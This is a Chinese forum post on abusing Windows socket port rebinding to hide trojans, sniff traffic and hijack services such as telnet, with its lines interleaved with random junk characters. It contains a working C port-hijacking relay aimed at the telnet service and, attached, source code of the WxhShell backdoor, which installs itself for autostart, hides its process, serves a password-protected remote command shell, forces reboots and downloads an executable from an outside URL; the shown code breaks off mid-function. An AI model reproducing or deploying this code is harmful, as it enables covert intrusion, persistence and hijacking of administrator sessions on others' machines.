社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14272阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |79!exVMBp  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _"`U.!3*  
(FAd'$lhX}  
  saddr.sin_family = AF_INET; 6\9 9WQ  
d/OIc){tD  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;DKwv}  
!&Q3>8l  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $zBG19 [%  
\HOOWaapN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E$[\Fk}S  
Az2$\  
  这意味着什么?意味着可以进行如下的攻击: %.R_[.W  
ngN_,x 7yc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ZR'q.y[k)  
U < p kg  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <`q|6XWL  
_k@{> ?(a  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q(KLx)  
0fPqO2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %?EOD=e =  
*<!W k\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =`X@+~%-  
G K @]61b  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f.=4p^  
pstQithS  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w%k)J{\  
^q,KR ut  
  #include f6Wu+~|Y  
  #include X?.bE!3=  
  #include  ~Rcd  
  #include    z~xN ]=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?Ib/}JST  
  int main() h tn2`  
  { V|.aud=7z  
  WORD wVersionRequested; E `)p,{T  
  DWORD ret; ]Nvtiw 6  
  WSADATA wsaData; 0 n,5"B  
  BOOL val; ^ >ca*g  
  SOCKADDR_IN saddr; v}]x>f  
  SOCKADDR_IN scaddr; oA~m*|  
  int err; b~b(Ed{r  
  SOCKET s; <5(8LMF  
  SOCKET sc; .>?["e#,  
  int caddsize; = sIR[V'(  
  HANDLE mt; 88U4I  
  DWORD tid;   y+?tUSPP  
  wVersionRequested = MAKEWORD( 2, 2 ); -i'T!Qg1  
  err = WSAStartup( wVersionRequested, &wsaData ); /)de`k"  
  if ( err != 0 ) { v mOXB#7W  
  printf("error!WSAStartup failed!\n"); 9,'5~+7  
  return -1; 8'B\%.+"8e  
  } \sC0om,  
  saddr.sin_family = AF_INET; 4T9hT~cT7  
   %~ecrQ;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z>i D  
ooIMN =  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >UJ&noUD#:  
  saddr.sin_port = htons(23); %i%Xi+{3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1 qUdj[Bj  
  { NI(`o8fN  
  printf("error!socket failed!\n"); "`"j2{9|e!  
  return -1; ^;s`[f|w  
  } i:kWO7aP  
  val = TRUE; H]=3^g64  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0 \LkJ*i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vt mO  
  { 7 Nwi\#o  
  printf("error!setsockopt failed!\n"); *!9/`zW  
  return -1; =b%J@}m`&  
  } XU9=@y+|v  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ti3BlWQH  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cT0utR&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X_'.@q<!CV  
Z{p6Q1u  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Sc6wC H  
  { }h_Op7.5D  
  ret=GetLastError(); fe37T@  
  printf("error!bind failed!\n"); "}SERC7  
  return -1; mZ;yk(  
  } cfeX (0  
  listen(s,2); +X*`}-3  
  while(1) 38q@4U=aiw  
  { ,uKvE`H  
  caddsize = sizeof(scaddr); &{]%=stI  
  //接受连接请求 @su{Uno8/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qfSoF|  
  if(sc!=INVALID_SOCKET) {sm={q  
  { d BlOU.B  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U*&ZQw  
  if(mt==NULL) {yb\p9q{Yo  
  { |}M']Vz  
  printf("Thread Creat Failed!\n"); q<yH!  
  break; (C-z8R Z6  
  } WQ5sC[&   
  } ^ Nsl5  
  CloseHandle(mt); Bd NuhV`0  
  } i9!Urq-  
  closesocket(s); H;sQ]:.*]  
  WSACleanup(); R ^B2J+O  
  return 0; =(n'#mV  
  }   2/7=@>|  
  DWORD WINAPI ClientThread(LPVOID lpParam) %o"Rcw|  
  { 9uS7G*  
  SOCKET ss = (SOCKET)lpParam;  +rT(  
  SOCKET sc; }qD.Ek  
  unsigned char buf[4096]; Tc88U8Gc  
  SOCKADDR_IN saddr; _).'SU)>  
  long num; W;N/Y3Lb  
  DWORD val; Q?a"uei[  
  DWORD ret; ?Nh%!2n  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =` i 7?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   'o7PIhD"  
  saddr.sin_family = AF_INET; Xl/G|jB9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /hX"O ?^  
  saddr.sin_port = htons(23); @&Nvb.5nT  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KV5lpN PC  
  { 4*+EUJ|  
  printf("error!socket failed!\n"); 7@lXN8_f  
  return -1; ]F@md(J  
  } }a9C /t3  
  val = 100; p_z"Uwp  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sRZ:9de+  
  { zDl, bLiJ  
  ret = GetLastError(); sN C?o[9l!  
  return -1; hL`zV  
  } uf;q/Wr  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *b)b#p  
  { '!.;(Jo  
  ret = GetLastError(); q~^:S~q  
  return -1; Dz50,*}J  
  } EORRSP,$2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vfv5ex(  
  { '.K,EM!-~h  
  printf("error!socket connect failed!\n"); Wl#^Eu\g1W  
  closesocket(sc); {;4PP463  
  closesocket(ss); q9 ;\B&  
  return -1; b;t]k9:"L  
  } -Y[-t;  
  while(1) og\XLJ}_  
  { gPwp [  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 v)d0MxSC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2 T3DV])Q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 MJG%HakK0  
  num = recv(ss,buf,4096,0); DrEtnt   
  if(num>0) tbPPI)lu  
  send(sc,buf,num,0); p&4n3%(R@  
  else if(num==0) ZWa#}VS}-n  
  break; OV/FQH;V  
  num = recv(sc,buf,4096,0); )j6>b-H   
  if(num>0) bvgD;:Aj  
  send(ss,buf,num,0); Eo Urc9G2  
  else if(num==0) btF%}<o)  
  break; z}8YrVr@  
  } j?,*fp8  
  closesocket(ss); u W|x)g11a  
  closesocket(sc); 7[H`;l  
  return 0 ; YxtkI:C?  
  } {^f0RGJg9  
>Y+KL  
D9C}Dys  
========================================================== Cv~hU%1T  
Qf|}%}% fp  
下边附上一个代码,,WXhSHELL K D-_~uIF  
PbPP1G')  
========================================================== ]= NYvv>H  
nwo!A3w:  
#include "stdafx.h" b e/1- =m  
I.u,f:Fl'  
#include <stdio.h> 3rY /6{  
#include <string.h> Mak9qaWqF>  
#include <windows.h> BZ<z@DJp  
#include <winsock2.h> G zXP  
#include <winsvc.h> ]'h)7  
#include <urlmon.h> #5C3S3e=  
M=WE^v!b  
#pragma comment (lib, "Ws2_32.lib") #P-HV  
#pragma comment (lib, "urlmon.lib") X{xJ*T y'  
~|9LWp_  
#define MAX_USER   100 // 最大客户端连接数 #Q@6:bBzv  
#define BUF_SOCK   200 // sock buffer XC1lo4|  
#define KEY_BUFF   255 // 输入 buffer erP>P  
 y:OywIi(  
#define REBOOT     0   // 重启 62x< rph  
#define SHUTDOWN   1   // 关机 &&]!+fTZ\(  
$M`;."  
#define DEF_PORT   5000 // 监听端口 sYA-FO3gh  
is?&%VY  
#define REG_LEN     16   // 注册表键长度 _ <a)\UR  
#define SVC_LEN     80   // NT服务名长度 j$|C/E5?  
r65NKiQD  
// 从dll定义API 3Gl]g/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =+h!JgY/L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rgzI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dO4#BDn"=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]0i2 ]=J&,  
pmyM&'#Id  
// wxhshell配置信息 Au._n,<  
struct WSCFG { +@u C:3jM  
  int ws_port;         // 监听端口 ^Ai_/! "  
  char ws_passstr[REG_LEN]; // 口令 .r|vz6tU?  
  int ws_autoins;       // 安装标记, 1=yes 0=no &E &iaw!  
  char ws_regname[REG_LEN]; // 注册表键名 GLQvAHC  
  char ws_svcname[REG_LEN]; // 服务名 ]GtR8w@w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6J-}&U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eH!|MHe  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $ XsQ e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IaTq4rt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  "$Iw Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j'*p  
[E~,>Q  
}; EjX'&"3.  
!en F8a  
// default Wxhshell configuration #KNq:@wp6  
struct WSCFG wscfg={DEF_PORT, gZEA;N:H%<  
    "xuhuanlingzhe", DVoV:pk  
    1, n{Qh8"  
    "Wxhshell", 3d'ikkXK  
    "Wxhshell", y [9}[NMZ  
            "WxhShell Service", A%*DQ1N  
    "Wrsky Windows CmdShell Service", R, w54},  
    "Please Input Your Password: ", T:S{3  
  1, Zc3:9   
  "http://www.wrsky.com/wxhshell.exe", 5652'p  
  "Wxhshell.exe" Z^`=!n-V  
    }; g} ~<!VpX  
T{H#]BF<E  
// 消息定义模块 :iQ^1S` pH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fI d)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,c7u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; khN:+V|  
char *msg_ws_ext="\n\rExit."; KvJP(!{  
char *msg_ws_end="\n\rQuit."; )]b@eGNGj  
char *msg_ws_boot="\n\rReboot..."; K# i*9sM  
char *msg_ws_poff="\n\rShutdown..."; NVA`t]gn  
char *msg_ws_down="\n\rSave to "; ):fu   
{.D2ON  
char *msg_ws_err="\n\rErr!"; 8cBW] \ v  
char *msg_ws_ok="\n\rOK!"; 3Ra\2(bR  
S[hJ{0V  
char ExeFile[MAX_PATH]; <,X+`m&  
int nUser = 0; ]b~2Dap  
HANDLE handles[MAX_USER]; YV3TxvXMR  
int OsIsNt; h,'mN\6t  
/yw\(|T  
SERVICE_STATUS       serviceStatus; 8@W/43K8-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `^bvj]>l  
[OoH5dD  
// 函数声明 ;p#Z:6  
int Install(void); Y\g90  
int Uninstall(void); rI^~9Rz  
int DownloadFile(char *sURL, SOCKET wsh); aC8,Y$>?E`  
int Boot(int flag); N]s7/s  
void HideProc(void); vzyI::f?  
int GetOsVer(void); !Ir1qt8 T  
int Wxhshell(SOCKET wsl); .f !]@"\  
void TalkWithClient(void *cs); 7z&adkG:  
int CmdShell(SOCKET sock); G\:psx/  
int StartFromService(void); n#^?X  
int StartWxhshell(LPSTR lpCmdLine); H8<7#  
:&1=8^BY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nA_ zP4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A D}}>v  
22Y!u00D  
// 数据结构和表定义  lGnql1(  
SERVICE_TABLE_ENTRY DispatchTable[] = Zn<(,e  
{ l q\'  
{wscfg.ws_svcname, NTServiceMain}, F'UguC">  
{NULL, NULL} Dmm r]~  
}; fs3 -rXoB  
CVGOX z  
// 自我安装 bco[L@6G$  
int Install(void) y800(z  
{ nT@6g|!  
  char svExeFile[MAX_PATH]; orQV'  
  HKEY key; 17n+4J]  
  strcpy(svExeFile,ExeFile); V^Mf4!A(y  
wKi}@|0[@  
// 如果是win9x系统,修改注册表设为自启动 }KD7 Y  
if(!OsIsNt) { }[KDE{,V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6& &}P79  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pi"~/MGP$  
  RegCloseKey(key); iFwyh`Bcg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YM`:L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5v !DYx  
  RegCloseKey(key); ]w_  
  return 0; Ukh$`q}  
    } TJyH/ C  
  } nqurY62Ip  
} XAQ\OX#  
else { u>t|X}JH  
@`IXu$Wm(  
// 如果是NT以上系统,安装为系统服务 C)J_lI{^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s0 \f9D  
if (schSCManager!=0) /jjW/ lr  
{ o%/-5-  
  SC_HANDLE schService = CreateService ]{Mci]H6T  
  ( _UH/}!nqB  
  schSCManager, 2|0Qk&  
  wscfg.ws_svcname, un$ Z7W/  
  wscfg.ws_svcdisp, +(=0CA0GE  
  SERVICE_ALL_ACCESS, Qc&-\kQ:$u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *w'q  
  SERVICE_AUTO_START, Q3NPwM  
  SERVICE_ERROR_NORMAL, DnG/ n  
  svExeFile, &O+sK4 P  
  NULL, }&Wp3EWw  
  NULL, |8DH4*y!  
  NULL, (c(-E|u.  
  NULL, )KaLSL>  
  NULL H)`CncB  
  ); ;gxN@%}@  
  if (schService!=0) xZ.~:V03\t  
  { i14[3bPLk!  
  CloseServiceHandle(schService); 7x[LF ^o  
  CloseServiceHandle(schSCManager); ( Lok  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Xq8uY/j  
  strcat(svExeFile,wscfg.ws_svcname);  !fQJL   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "<PoJPh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [):{5hMA  
  RegCloseKey(key); 6?1s`{yy  
  return 0; l)tTg+:  
    } Ie G7@  
  }  _DPB?)!x  
  CloseServiceHandle(schSCManager); 3d,-3U  
} L,Ao.?j  
} laUu"cS  
3bbp>7V!  
return 1; ;Pol#0_(  
} E3 ~,+68U  
rxs~y{ Xi  
// 自我卸载 Z&+NmOY4  
int Uninstall(void) a,/M'^YyN  
{ 8iMF8\  
  HKEY key; bx hPjAL  
NLcO{   
if(!OsIsNt) { 54 M!Fq -  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g9yaNelDh)  
  RegDeleteValue(key,wscfg.ws_regname); 0[n c7)sW  
  RegCloseKey(key); Lv `#zgo_f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2-vJv+-  
  RegDeleteValue(key,wscfg.ws_regname); ^l Hb&\X  
  RegCloseKey(key); 1fz*S IjG  
  return 0; xoqiRtlY:  
  } `3 f_d}b  
} zW*}`S "  
} 0Y2\n-`z  
else { g\ErJ+i  
XIr{U5$<6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2Pbe~[  
if (schSCManager!=0) Q)x?B]b-  
{ vOos*&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RL?u n}Qa  
  if (schService!=0) u] F7 0C^~  
  { Ni+3b  
  if(DeleteService(schService)!=0) {  Jt##rVN  
  CloseServiceHandle(schService); zq,iLoY[R  
  CloseServiceHandle(schSCManager); iP<k1#k  
  return 0; BQyvj\uJ  
  } j y7  
  CloseServiceHandle(schService); 'M~BE\  
  } Ze-MAt  
  CloseServiceHandle(schSCManager); NJn&>/vM  
} HG2N-<$  
} i LF^%!:X%  
 uY.=4l  
return 1; l% rx#;=u  
} cqeR<len  
/SnynZ.q  
// 从指定url下载文件 :|Z$3q  
int DownloadFile(char *sURL, SOCKET wsh) R;H?gE^m-  
{ 1a<]$tZk  
  HRESULT hr; J__;.rnk  
char seps[]= "/"; ykxbX  
char *token; ,VPbUo@  
char *file; +p13xc?#j  
char myURL[MAX_PATH]; - G8c5b[  
char myFILE[MAX_PATH]; VBu8}}Ql  
./#e1m?.  
strcpy(myURL,sURL); 'dkXYtKCB  
  token=strtok(myURL,seps); #2h+dk$1  
  while(token!=NULL) Ds {{J5Um%  
  { NA+&jV  
    file=token; XR|"dbZW.0  
  token=strtok(NULL,seps); 3rxo,pX94  
  } CXTt(-FT  
DC&A1I&  
GetCurrentDirectory(MAX_PATH,myFILE); /@Ez" ?V2  
strcat(myFILE, "\\"); >Z *iE"9"  
strcat(myFILE, file); b& V`<'{  
  send(wsh,myFILE,strlen(myFILE),0); 3DH.4@7P  
send(wsh,"...",3,0); pss6Oz8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _)Qy4[S=d  
  if(hr==S_OK) , Hn7(^t  
return 0;  VJ3hC[  
else bFSlf5*H  
return 1; pFpZbU^  
,!`SY)  
} #e*X0;m  
Ejq=*UOP  
// 系统电源模块 lj)f4zu  
int Boot(int flag) mV<i JZh  
{ CoJ55TAW  
  HANDLE hToken; ^"1TPd|  
  TOKEN_PRIVILEGES tkp; cFLd)mt/  
(B&h;U$HAH  
  if(OsIsNt) { $'^&\U~?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YZibi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X6xx2v%D  
    tkp.PrivilegeCount = 1; DR6]-j!FK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qh-[L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ):krJ+-/y  
if(flag==REBOOT) { :y\09)CJK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6_*!|g  
  return 0; Sr&T[ex,.  
} N=#4L$@-  
else { Id %_{),HX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jPnO@ H1  
  return 0; z!:'V]  
} y?>#t^  
  } sMH#BCC  
  else { co/7lsW  
if(flag==REBOOT) { =N_,l'U\^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ob'n{T+lZ  
  return 0; *xcP`  
} ;W0]66&  
else { +vz` go  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2/@D7>F&g  
  return 0; _S"f_W  
} 71O3O7  
} E:FO_R(Xq  
NY@"&p'Q  
return 1; a}>Dz 1R  
} j5\$[-';  
>Rt9xP  
// win9x进程隐藏模块 rs:Q%V ^  
void HideProc(void) @rO4y`  
{ $M':&i5`,  
=MC~GXJSNw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v)):$s?WB  
  if ( hKernel != NULL ) Zm(dY*z5:J  
  { ^uW%v2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uUG*0Lj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t+Z`n(>  
    FreeLibrary(hKernel); 6^;^rUlm  
  } Zn&k[?;Al  
<qhBc:kc  
return; .Pw%DZ'  
} -4flV D  
;xK_qBIP  
// 获取操作系统版本 /)9W1U^B  
int GetOsVer(void) ,)h)5o(?  
{ B!bsTvX  
  OSVERSIONINFO winfo; B wC+ov=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tWY2o3j  
  GetVersionEx(&winfo); ''S&e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .#fPw_i  
  return 1; :[sOKV i  
  else =XT)J6z^"  
  return 0; TY.FpW  
} ,=o0BD2q  
e7xj_QH  
// 客户端句柄模块 bU`=*  
int Wxhshell(SOCKET wsl) v7IzDz6gF  
{ SMoz:J*Q(  
  SOCKET wsh; f-g1[!"F  
  struct sockaddr_in client; X \f[  
  DWORD myID; @u) 'yS  
B8m_'!;;  
  while(nUser<MAX_USER) H{V)g  
{ VXm[-  
  int nSize=sizeof(client); wqD5d   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \iU]s\{).  
  if(wsh==INVALID_SOCKET) return 1; Y)XvlfJ,h?  
uLN[*D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _8><| 3d  
if(handles[nUser]==0) M=y0PCD  
  closesocket(wsh); n.hElgkUOr  
else 59*M"1['Q  
  nUser++; KrKu7]If6#  
  } ;;V\"7q'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ( 9$"#o  
0 mexF@  
  return 0; '{ f=hE_/  
} S #8 >ZwQ  
F9H~k"_ZJR  
// 关闭 socket (][LQ6Pc  
void CloseIt(SOCKET wsh) d~*TIN8Ke~  
{ {8@\Ij  
closesocket(wsh); N[Sb#w`[/  
nUser--; !e3YnlE  
ExitThread(0); Q_zr\RM>  
} 4 tXSYHd3  
1;&;5  
// 客户端请求句柄 =Q(vni83<  
void TalkWithClient(void *cs) DjHp+TyT  
{ 8)xt(~qF  
~rv})4h  
  SOCKET wsh=(SOCKET)cs; $/_ qE  
  char pwd[SVC_LEN]; 0a2@b"l  
  char cmd[KEY_BUFF]; cDV ^8 R  
char chr[1]; $h28(K%  
int i,j; "0&N}  
G'x .NL  
  while (nUser < MAX_USER) { Zb''mf\  
cxP6-tV%  
if(wscfg.ws_passstr) { t FgX\4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I*\^,ow  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N/~N7MwJj  
  //ZeroMemory(pwd,KEY_BUFF); x#8w6@iPQ  
      i=0; XnUO*v^]  
  while(i<SVC_LEN) { `v nJ4*  
~}%~oT  
  // 设置超时 ?m;;D'1j  
  fd_set FdRead; RuAlB*  
  struct timeval TimeOut; Q\kub_I{@  
  FD_ZERO(&FdRead); Sm|(  
  FD_SET(wsh,&FdRead); oq;'eM1,.  
  TimeOut.tv_sec=8; qv+R:YYOq  
  TimeOut.tv_usec=0; Bjj<\8 ^M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z=+03  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NZXjE$<Vr  
Lz4eh WntO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bw< rp-  
  pwd=chr[0]; Z1,gtl ?  
  if(chr[0]==0xd || chr[0]==0xa) { Hs0pW5oZ  
  pwd=0; >q7 %UK]&  
  break; 68t}w^=  
  } j+^L~, S  
  i++; )\ 0F7Z  
    } c[cAUsk i  
:q+N&j'3  
  // 如果是非法用户,关闭 socket uS5o?fg\e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j9y3hQ+q  
} ?IYY'fS"  
$L}aQlA1JM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &ITuyGmF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vRhnX  
Hs?zq  
while(1) { F^kwdS  
&%F@O<:  
  ZeroMemory(cmd,KEY_BUFF); N$alUx*  
O/OiQ^T  
      // 自动支持客户端 telnet标准   py<_HyJ  
  j=0; \2X$C#8E  
  while(j<KEY_BUFF) { raB+,Oi$G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0SV\{]2  
  cmd[j]=chr[0]; 3]LN;s]ac  
  if(chr[0]==0xa || chr[0]==0xd) { ($!KzxF3  
  cmd[j]=0; e!x6bR9EZ  
  break; pY}/j;.[  
  } U;^[$Aq  
  j++; )0CQP  
    } H;KDZO9W  
@Hjea1@t  
  // 下载文件 8X7{vN_3K  
  if(strstr(cmd,"http://")) { #hxyOq,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y] V1b{9p  
  if(DownloadFile(cmd,wsh)) f_6`tq m%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nhf~PO({&  
  else wNQqfq Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G=d(*+& B  
  } ')#,X^   
  else { TZB+lj1  
x8[MP?Wz  
    switch(cmd[0]) { =dH$2W)G  
  HFtf  
  // 帮助 UTk r.T+2X  
  case '?': { :jem~6i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4A.Q21s  
    break; VcgBLkIF  
  } m *X7T  
  // 安装 -l*g~7|j  
  case 'i': { ae`|ic  
    if(Install()) UQ8bN I7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Omyt2`q  
    else IF_DZ   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \7 a4uc  
    break; J)x3\[}Ye  
    } c{3rl;Cs  
  // 卸载 D-ADv3E,  
  case 'r': { I4e+$bU3  
    if(Uninstall())  t@B(+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l},NcPL`  
    else Dgi~rr1`'s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #}yTDBt  
    break; 8 %Sb+w07  
    } Y& {|Sw7?  
  // 显示 wxhshell 所在路径 ,E*R,'w   
  case 'p': { le .'pP@  
    char svExeFile[MAX_PATH]; k`YYZt]@  
    strcpy(svExeFile,"\n\r"); ]n v( aM?d  
      strcat(svExeFile,ExeFile); tS?lB05TOR  
        send(wsh,svExeFile,strlen(svExeFile),0); 5vOCCW  
    break; }STYG`  
    } u?0d[mC  
  // 重启 "^rNr_  
  case 'b': { 2[R$RpA_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3#GqmhqKDk  
    if(Boot(REBOOT)) \U@3`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _j ;3-m  
    else { t&RruwN_;  
    closesocket(wsh); O!F]^'!  
    ExitThread(0); [_!O<z_sB  
